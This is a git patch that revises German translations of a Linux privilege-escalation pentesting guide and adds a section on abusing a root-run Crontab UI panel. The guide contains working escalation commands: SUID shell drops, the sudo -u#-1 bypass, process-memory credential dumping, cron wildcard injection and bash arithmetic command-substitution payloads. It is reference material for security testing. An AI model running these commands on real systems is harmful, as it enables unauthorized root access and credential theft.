From 79c73d34494e9d4c0447027a018b0a2d196acc57 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 10:20:00 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/vmware-esx-v --- src/SUMMARY.md | 1 + .../privilege-escalation/README.md | 601 ++++++++++-------- ...ry-untrusted-search-path-cve-2025-41244.md | 146 +++++ .../pentesting-web/vmware-esx-vcenter....md | 16 +- 4 files changed, 484 insertions(+), 280 deletions(-) create mode 100644 src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 79f641eab..6d276923d 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -110,6 +110,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) + - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 90892b709..f719a9693 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,9 +4,9 @@ ## Systeminformationen -### OS-Info +### OS-Informationen -Fangen wir an, Informationen über das laufende OS zu sammeln. +Beginnen wir damit, Informationen über das laufende OS zu sammeln. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,11 +14,11 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Wenn du **Schreibrechte auf einen beliebigen Ordner in der `PATH`**-Variable hast, kannst du möglicherweise einige libraries oder binaries hijacken: +Wenn Sie **Schreibrechte auf einen Ordner innerhalb der `PATH`-Variable** haben, können Sie möglicherweise einige Libraries oder Binaries hijacken: ```bash echo $PATH ``` -### Env info +### Umgebungsinformationen Interessante Informationen, Passwörter oder API-Schlüssel in den Umgebungsvariablen? ```bash @@ -26,26 +26,26 @@ Interessante Informationen, Passwörter oder API-Schlüssel in den Umgebungsvari ``` ### Kernel exploits -Überprüfe die Kernel-Version und ob es einen exploit gibt, der verwendet werden kann, um Privilegien zu eskalieren +Überprüfe die Kernel-Version und ob es einen Exploit gibt, der genutzt werden kann, um Privilegien zu erhöhen. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` Du findest eine gute Liste verwundbarer Kernel und einige bereits **compiled exploits** hier: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) und [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Weitere Seiten, auf denen du einige **compiled exploits** findest: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Weitere Seiten, auf denen du einige **compiled exploits** finden kannst: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Um alle verwundbaren Kernel-Versionen von dieser Webseite zu extrahieren, kannst du Folgendes tun: +Um alle verwundbaren Kernel-Versionen von dieser Seite zu extrahieren, kannst du folgendes tun: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Tools, die bei der Suche nach kernel exploits helfen können, sind: +Werkzeuge, die bei der Suche nach Kernel-Exploits helfen können, sind: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ausführen IN victim, überprüft nur exploits für kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, prüft nur exploits für kernel 2.x) -Suche immer **die kernel version in Google** — vielleicht ist deine kernel version in einem kernel exploit erwähnt und du kannst so sicherstellen, dass dieser exploit gültig ist. +Suche immer **die Kernel-Version in Google**, vielleicht ist deine Kernel-Version in einem Kernel exploit erwähnt und dann bist du sicher, dass dieser Exploit gültig ist. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo-Version +### sudo-Version -Basierend auf den anfälligen sudo-Versionen, die in den folgenden Einträgen erscheinen: +Basierend auf den anfälligen sudo-Versionen, die in erscheinen: ```bash searchsploit sudo ``` -Du kannst mit diesem grep prüfen, ob die sudo-Version verwundbar ist. +Du kannst prüfen, ob die sudo-Version verwundbar ist, indem du dieses grep verwendest. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,9 +73,9 @@ Von @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg Signaturprüfung fehlgeschlagen +### Dmesg signature verification failed -Sieh dir die **smasher2 box of HTB** für ein **Beispiel** an, wie diese vuln ausgenutzt werden kann. +Sieh dir die **smasher2 box of HTB** für ein **Beispiel** an, wie diese vuln ausgenutzt werden könnte. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -132,7 +132,7 @@ docker-security/ ## Laufwerke -Prüfe **was gemountet und ungemountet ist**, wo und warum. Ist etwas nicht gemountet, kannst du versuchen, es zu mounten und nach privaten Informationen zu suchen. +Überprüfe **was gemountet und ungemountet ist**, wo und warum. Falls etwas nicht gemountet ist, kannst du versuchen, es zu mounten und nach privaten Informationen zu suchen. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Nützliche Software -Nützliche binaries auflisten +Nützliche Binaries auflisten ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Prüfe außerdem, ob **ein Compiler installiert ist**. Das ist nützlich, falls du einen kernel exploit verwenden musst, da empfohlen wird, diesen auf der Maschine zu kompilieren, auf der du ihn einsetzen wirst (oder auf einer ähnlichen). +Prüfe außerdem, ob **ein Compiler installiert ist**. Das ist nützlich, wenn du einen kernel exploit verwenden musst, da empfohlen wird, ihn auf der Maschine zu kompilieren, auf der du ihn einsetzen wirst (oder auf einer ähnlichen). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Verwundbare Software installiert -Überprüfe die **Version der installierten Pakete und Dienste**. Vielleicht gibt es eine ältere Nagios-Version (zum Beispiel), die ausgenutzt werden könnte, um escalating privileges zu erreichen…\ +Überprüfe die **Version der installierten Pakete und Dienste**. Möglicherweise gibt es eine ältere Nagios-Version (zum Beispiel), die ausgenutzt werden könnte, um escalating privileges zu erlangen…\ Es wird empfohlen, die Version der verdächtigeren installierten Software manuell zu überprüfen. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Wenn du SSH-Zugang zur Maschine hast, kannst du auch **openVAS** verwenden, um installierte, veraltete und verwundbare Software zu überprüfen. +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _Beachte, dass diese Befehle viele Informationen anzeigen, die größtenteils nutzlos sind, daher empfiehlt es sich, Anwendungen wie OpenVAS oder ähnliche zu verwenden, die überprüfen, ob installierte Softwareversionen gegenüber bekannten exploits verwundbar sind_ +> [!NOTE] > _Beachte, dass diese Befehle viele Informationen anzeigen werden, die größtenteils nutzlos sind. Daher werden Anwendungen wie OpenVAS oder ähnliche empfohlen, die prüfen, ob installierte Softwareversionen für bekannte Exploits verwundbar sind._ -## Processes +## Prozesse -Sieh dir an, **welche Prozesse** ausgeführt werden, und prüfe, ob ein Prozess **mehr Privilegien hat, als er sollte** (z. B. tomcat, das als root ausgeführt wird?) +Schau dir an, **welche Prozesse** ausgeführt werden und überprüfe, ob ein Prozess **mehr Privilegien hat, als er sollte** (z. B. ein tomcat, der als root ausgeführt wird?) ```bash ps aux ps -ef top -n 1 ``` -Überprüfe stets, ob mögliche [**electron/cef/chromium debuggers** laufen — du könntest sie missbrauchen, um Privilegien zu erhöhen](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es den `--inspect` Parameter in der Kommandozeile des Prozesses prüft.\ -Prüfe außerdem deine Privilegien bezüglich der Prozess-Binaries; vielleicht kannst du welche überschreiben. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Überprüfe außerdem **deine Privilegien gegenüber den Prozess-Binaries**, vielleicht kannst du welche überschreiben. ### Prozessüberwachung -Du kannst Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Das kann sehr nützlich sein, um verwundbare Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn bestimmte Bedingungen erfüllt sind. +Du kannst Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Das kann sehr nützlich sein, um verwundbare Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn bestimmte Voraussetzungen erfüllt sind. ### Prozessspeicher Einige Dienste auf einem Server speichern **credentials im Klartext im Speicher**.\ -Normalerweise benötigst du **root privileges**, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören; daher ist das meist nützlicher, wenn du bereits root bist und weitere credentials entdecken möchtest.\ -Denke jedoch daran, dass **als normaler Benutzer du den Speicher der Prozesse, die dir gehören, lesen kannst**. +Normalerweise benötigst du **root privileges**, um den Speicher von Prozessen anderer Benutzer zu lesen; daher ist dies meist nützlicher, wenn du bereits root bist und weitere credentials finden möchtest.\ +Beachte jedoch, dass **du als normaler Benutzer den Speicher der Prozesse, die dir gehören, lesen kannst**. > [!WARNING] -> Beachte, dass heutzutage die meisten Maschinen **ptrace nicht standardmäßig erlauben**, was bedeutet, dass du andere Prozesse, die nicht zu deinem privilegierten Benutzer gehören, nicht dumpen kannst. +> Beachte, dass heutzutage die meisten Maschinen **ptrace nicht standardmäßig erlauben**, was bedeutet, dass du keine Prozesse anderer Benutzer, die deinem unprivilegierten Benutzer gehören, dumpen kannst. > > Die Datei _**/proc/sys/kernel/yama/ptrace_scope**_ steuert die Zugänglichkeit von ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: alle Prozesse können debuggt werden, sofern sie dieselbe uid haben. Das ist die klassische Funktionsweise von ptrace. +> - **kernel.yama.ptrace_scope = 1**: nur ein übergeordneter Prozess kann debuggt werden. +> - **kernel.yama.ptrace_scope = 2**: Nur Admins können ptrace nutzen, da dafür die CAP_SYS_PTRACE capability erforderlich ist. +> - **kernel.yama.ptrace_scope = 3**: Keine Prozesse dürfen mit ptrace getraced werden. Nach dem Setzen ist ein Reboot nötig, um ptracing wieder zu ermöglichen. #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. +Wenn du Zugriff auf den Speicher eines FTP-Dienstes (zum Beispiel) hast, könntest du den Heap auslesen und darin nach credentials suchen. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Für eine gegebene Prozess-ID zeigen die **maps zeigen, wie der Speicher innerhalb des virtuellen Adressraums dieses Prozesses abgebildet ist**; sie zeigen auch die **Berechtigungen jeder abgebildeten Region**. Die Pseudo-Datei **mem** **legt den Speicher des Prozesses selbst offen**. Aus der **maps**-Datei wissen wir, welche **Speicherbereiche lesbar sind** und deren Offsets. Wir nutzen diese Informationen, um **in die mem-Datei zu seeken und alle lesbaren Bereiche zu dumpen** in eine Datei. +Für eine gegebene Prozess-ID zeigen die **maps**, wie der Speicher im virtuellen Adressraum dieses Prozesses abgebildet ist; sie zeigt auch die **Berechtigungen jeder abgebildeten Region**. Die Pseudo-Datei **mem** legt den Speicher des Prozesses selbst offen. Aus der **maps**-Datei wissen wir, welche **Speicherbereiche lesbar sind** und deren Offsets. Wir nutzen diese Informationen, um in die **mem**-Datei zu seeken und alle lesbaren Bereiche zu dumpen. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` bietet Zugriff auf den **physischen** Speicher des Systems, nicht auf den virtuellen Speicher. Auf den virtuellen Adressraum des Kernels kann über /dev/kmem zugegriffen werden.\ -Typischerweise ist `/dev/mem` nur für **root** und die kmem-Gruppe lesbar. +`/dev/mem` bietet Zugriff auf den **physischen** Speicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann über /dev/kmem angesprochen werden.\ +Typischerweise ist `/dev/mem` nur für **root** und die **kmem**-Gruppe lesbar. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDump ist eine Neuinterpretation für Linux des klassischen ProcDump-Tools aus der Sysinternals-Tool-Suite für Windows. Erhältlich unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump ist eine für Linux neu aufgelegte Version des klassischen ProcDump-Tools aus der Sysinternals-Tool-Suite für Windows. Erhältlich unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,13 +267,13 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Werkzeuge -Um den Speicher eines Prozesses auszulesen, können Sie folgende Tools verwenden: +To dump a process memory you could use: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Sie können die root-Anforderungen manuell entfernen und den Ihnen gehörenden Prozess auslesen -- Script A.5 aus [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root ist erforderlich) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Sie können die root-Anforderungen manuell entfernen und den Prozess dumpen, der Ihnen gehört +- Script A.5 von [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root ist erforderlich) -### Anmeldeinformationen aus dem Prozessspeicher +### Anmeldeinformationen aus Prozessspeicher #### Manuelles Beispiel @@ -282,22 +282,22 @@ Wenn Sie feststellen, dass der authenticator-Prozess läuft: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Du kannst den Prozess dumpen (siehe die vorherigen Abschnitte, um verschiedene Möglichkeiten zu finden, den memory eines Prozesses zu dumpen) und im memory nach credentials suchen: +Du kannst dump the process (siehe frühere Abschnitte, um verschiedene Wege zu dump the memory of a process zu finden) und nach credentials im memory suchen: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Das Tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) wird **Klartext-Anmeldeinformationen aus dem Speicher** und aus einigen **bekannten Dateien** stehlen. Es benötigt Root-Rechte, um korrekt zu funktionieren. +Das Tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) wird **Klartext-Anmeldedaten aus dem Speicher stehlen** und aus einigen **bekannten Dateien**. Es benötigt Root-Rechte, um richtig zu funktionieren. | Funktion | Prozessname | | ------------------------------------------------- | -------------------- | | GDM-Passwort (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| Gnome-Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (aktive FTP-Verbindungen) | vsftpd | -| Apache2 (aktive HTTP Basic-Auth-Sitzungen) | apache2 | +| Apache2 (aktive HTTP-Basic-Auth-Sitzungen) | apache2 | | OpenSSH (aktive SSH-Sitzungen - Sudo-Nutzung) | sshd: | #### Such-Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) @@ -316,7 +316,37 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Geplante/Cron-Jobs -Prüfe, ob ein geplanter Job angreifbar ist. Vielleicht kannst du ein Skript ausnutzen, das von root ausgeführt wird (wildcard vuln? kann man Dateien ändern, die root verwendet? symlinks nutzen? bestimmte Dateien im Verzeichnis erstellen, das root verwendet?). +### Crontab UI (alseambusher) läuft als root – web-based scheduler privesc + +Wenn ein Web “Crontab UI” Panel (alseambusher/crontab-ui) als root läuft und nur an loopback gebunden ist, kannst du es trotzdem über SSH lokales Port-Forwarding erreichen und einen privilegierten Job erstellen, um Privilegien zu eskalieren. + +Typische Kette +- Erkenne einen nur auf loopback gebundenen Port (z. B. 127.0.0.1:8000) und den Basic-Auth-Realm via `ss -ntlp` / `curl -v localhost:8000` +- Finde Zugangsdaten in operativen Artefakten: +- Backups/Skripte mit `zip -P ` +- systemd-Unit, die `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` offenlegt +- Tunnel aufbauen und einloggen: +```bash +ssh -L 9001:localhost:8000 user@target +# browse http://localhost:9001 and authenticate +``` +- Erstelle einen hochprivilegierten Job und führe ihn sofort aus (legt eine SUID shell ab): +```bash +# Name: escalate +# Command: +cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell +``` +- Benutze es: +```bash +/tmp/rootshell -p # root shell +``` +Härtung +- Führe Crontab UI nicht als root aus; beschränke es auf einen dedizierten user mit minimalen Berechtigungen +- Binde an localhost und schränke den Zugriff zusätzlich per Firewall/VPN ein; verwende nicht die gleichen passwords +- Vermeide das Einbetten von secrets in unit files; verwende secret stores oder eine root-only EnvironmentFile +- Aktiviere audit/logging für on-demand job executions + +Prüfe, ob ein scheduled job verwundbar ist. Vielleicht kannst du ein script ausnutzen, das von root ausgeführt wird (wildcard vuln? kannst du Dateien ändern, die root verwendet? symlinks verwenden? bestimmte Dateien in dem Verzeichnis anlegen, das root verwendet?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -324,12 +354,12 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron-Pfad -Zum Beispiel findest du in _/etc/crontab_ den PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Zum Beispiel findet man in _/etc/crontab_ den PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Beachte, dass der Benutzer "user" Schreibrechte über /home/user_) +(_Beachte, dass der Benutzer "user" Schreibrechte auf /home/user hat_) -Wenn innerhalb dieser crontab der root user versucht, einen Befehl oder ein Skript auszuführen, ohne den PATH zu setzen. Zum Beispiel: _\* \* \* \* root overwrite.sh_\ -Dann kannst du eine root shell erhalten, indem du Folgendes verwendest: +Wenn in dieser crontab der root-Benutzer versucht, einen Befehl oder ein Script auszuführen, ohne den PATH zu setzen. Zum Beispiel: _\* \* \* \* root overwrite.sh_\ +Dann kannst du eine root shell bekommen, indem du Folgendes benutzt: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -337,11 +367,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron, das ein script mit einem wildcard verwendet (Wildcard Injection) -Wenn ein script als root ausgeführt wird und ein “**\***” in einem Befehl enthalten ist, kannst du das ausnutzen, um unerwartete Dinge zu verursachen (wie privesc). Beispiel: +Wenn ein script, das von root ausgeführt wird, ein “**\***” innerhalb eines Befehls enthält, kannst du dies ausnutzen, um unerwartete Dinge zu bewirken (z. B. privesc). Beispiel: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Wenn das wildcard einem Pfad wie** _**/some/path/\***_ **vorausgeht, ist es nicht verwundbar (auch** _**./\***_ **nicht).** +**Wenn das Wildcard einem Pfad wie** _**/some/path/\***_ **vorausgeht, ist es nicht verwundbar (selbst** _**./\***_ **nicht).** Read the following page for more wildcard exploitation tricks: @@ -353,9 +383,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash führt parameter expansion und command substitution vor der arithmetischen Auswertung in ((...)), $((...)) und let aus. Wenn ein root cron/parser nicht vertrauenswürdige Log-Felder liest und in einen arithmetischen Kontext einspeist, kann ein Angreifer eine command substitution $(...) injizieren, die beim Ausführen des cron als root läuft. +Bash führt parameter expansion und command substitution vor der arithmetischen Auswertung in ((...)), $((...)) und let aus. Wenn ein root cron/parser untrusted Log-Felder einliest und in einen arithmetischen Kontext übergibt, kann ein Angreifer eine command substitution $(...) injizieren, die beim Ausführen des cron als root läuft. -- Warum es funktioniert: In Bash erfolgen die Expansions in dieser Reihenfolge: parameter/variable expansion, command substitution, arithmetic expansion, dann word splitting und pathname expansion. Daher wird ein Wert wie `$(/bin/bash -c 'id > /tmp/pwn')0` zuerst substituiert (der Befehl wird ausgeführt), danach wird die verbleibende Zahl `0` für die arithmetische Operation verwendet, sodass das Script ohne Fehler weiterläuft. +- Warum es funktioniert: In Bash erfolgen expansions in dieser Reihenfolge: parameter/variable expansion, command substitution, arithmetic expansion, dann word splitting und pathname expansion. Daher wird ein Wert wie `$(/bin/bash -c 'id > /tmp/pwn')0` zuerst substituiert (führt den Befehl aus), danach wird die verbleibende numerische `0` für die arithmetische Operation verwendet, sodass das Script ohne Fehler weiterläuft. - Typisches verwundbares Muster: ```bash @@ -367,7 +397,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Sorge dafür, dass vom Angreifer kontrollierter Text in das geparste Log geschrieben wird, sodass das zahlenähnliche Feld eine command substitution enthält und mit einer Ziffer endet. Stelle sicher, dass dein Befehl nichts auf stdout schreibt (oder leite es um), damit die arithmetische Auswertung gültig bleibt. +- Exploitation: Sorge dafür, dass vom Angreifer kontrollierter Text in das geparste Log geschrieben wird, sodass das numerisch aussehende Feld eine command substitution enthält und mit einer Ziffer endet. Stelle sicher, dass dein Befehl nichts auf stdout ausgibt (oder leite die Ausgabe um), damit die arithmetische Auswertung gültig bleibt. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,62 +406,62 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Wenn du **ein cron script modifizieren kannst**, das als root ausgeführt wird, kannst du sehr einfach eine Shell erhalten: +If you **can modify a cron script** executed by root, you can get a shell very easily: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Wenn das von root ausgeführte script ein Verzeichnis verwendet, auf das du vollen Zugriff hast, könnte es nützlich sein, diesen folder zu löschen und stattdessen einen symlink folder zu erstellen, der auf ein anderes Verzeichnis zeigt, das ein von dir kontrolliertes script bereitstellt. +Wenn das von root ausgeführte Script ein **Verzeichnis verwendet, auf das Sie vollen Zugriff haben**, kann es nützlich sein, diesen Ordner zu löschen und ein **Symlink-Verzeichnis zu einem anderen zu erstellen**, das ein von Ihnen kontrolliertes Script bereitstellt. ```bash ln -d -s ``` -### Häufige cron jobs +### Häufige cron-Jobs -Du kannst die Prozesse überwachen, um nach Prozessen zu suchen, die alle 1, 2 oder 5 Minuten ausgeführt werden. Vielleicht kannst du das ausnutzen und escalate privileges. +Du kannst die Prozesse überwachen, um nach Prozessen zu suchen, die alle 1, 2 oder 5 Minuten ausgeführt werden. Vielleicht kannst du es ausnutzen und escalate privileges. -Zum Beispiel, um **jede 0.1s für 1 Minute zu überwachen**, **nach den am wenigsten ausgeführten Befehlen zu sortieren** und die Befehle zu löschen, die am häufigsten ausgeführt wurden, kannst du folgendes tun: +Zum Beispiel, um **alle 0.1s während 1 Minute zu überwachen**, **nach am wenigsten ausgeführten Befehlen zu sortieren** und die Befehle zu löschen, die am häufigsten ausgeführt wurden, kannst du: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dies überwacht und listet jeden gestarteten Prozess). +**Du kannst auch** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dies wird jeden gestarteten Prozess überwachen und auflisten). ### Unsichtbare cron jobs -Es ist möglich, einen cronjob zu erstellen, indem man **einen carriage return nach einem Kommentar setzt** (ohne newline character), und der cron job wird funktionieren. Beispiel (achte auf das carriage return char): +Es ist möglich, einen cronjob zu erstellen, indem man **einen Wagenrücklauf (carriage return) nach einem Kommentar setzt** (ohne Zeilenumbruchzeichen), und der cronjob wird funktionieren. Beispiel (achte auf das Wagenrücklauf-Zeichen): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Dienste -### Beschreibbare _.service_ Dateien +### Schreibbare _.service_ Dateien -Prüfe, ob du irgendeine `.service` Datei schreiben kannst. Falls ja, **könntest du sie ändern**, sodass sie deine **backdoor ausführt**, wenn der Dienst **gestartet**, **neu gestartet** oder **gestoppt** wird (vielleicht musst du warten, bis die Maschine neu gebootet wird).\ -Zum Beispiel kannst du deine Backdoor innerhalb der .service Datei mit **`ExecStart=/tmp/script.sh`** einbauen. +Überprüfe, ob du irgendeine `.service` Datei schreiben kannst, wenn ja, **könntest du sie ändern** sodass sie **deinen backdoor ausführt, wenn** der Dienst **gestartet**, **neu gestartet** oder **gestoppt** wird (vielleicht musst du warten, bis die Maschine neu gestartet wird).\ +Zum Beispiel erstelle deinen backdoor innerhalb der `.service` Datei mit **`ExecStart=/tmp/script.sh`** -### Beschreibbare service-Binaries +### Schreibbare Service-Binärdateien -Beachte, dass wenn du **Schreibrechte auf Binärdateien hast, die von Services ausgeführt werden**, du diese für backdoors ändern kannst, sodass beim erneuten Ausführen der Services die backdoors ausgeführt werden. +Beachte, dass wenn du **Schreibrechte an Binärdateien hast, die von Diensten ausgeführt werden**, du diese ändern kannst, um backdoors zu platzieren, sodass beim erneuten Ausführen der Dienste die backdoors ausgeführt werden. ### systemd PATH - Relative Pfade -Du kannst den von **systemd** verwendeten PATH sehen mit: +Du kannst den von **systemd** verwendeten PATH mit: ```bash systemctl show-environment ``` -Wenn Sie feststellen, dass Sie in einen der Ordner des Pfads **schreiben** können, könnten Sie möglicherweise **escalate privileges**. Sie müssen nach **relative paths being used on service configurations** Dateien suchen wie: +Wenn Sie feststellen, dass Sie in einem der Ordner des Pfads **write** haben, könnten Sie möglicherweise **escalate privileges**. Sie müssen nach **relative paths being used on service configurations** Dateien suchen wie: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Erstelle dann ein **executable** mit dem **same name as the relative path binary** im systemd PATH-Ordner, den du beschreiben kannst, und wenn der Service aufgefordert wird, die verwundbare Aktion (**Start**, **Stop**, **Reload**) auszuführen, wird deine **backdoor will be executed** (nicht-privilegierte Benutzer können Services normalerweise nicht starten/stoppen, prüfe aber, ob du `sudo -l` verwenden kannst). +Erstelle dann eine **ausführbare Datei** mit **dem gleichen Namen wie das Binary im relativen Pfad** innerhalb eines systemd PATH-Ordners, in den du schreiben kannst, und wenn der Service aufgefordert wird, die verwundbare Aktion (**Start**, **Stop**, **Reload**) auszuführen, wird deine **backdoor** 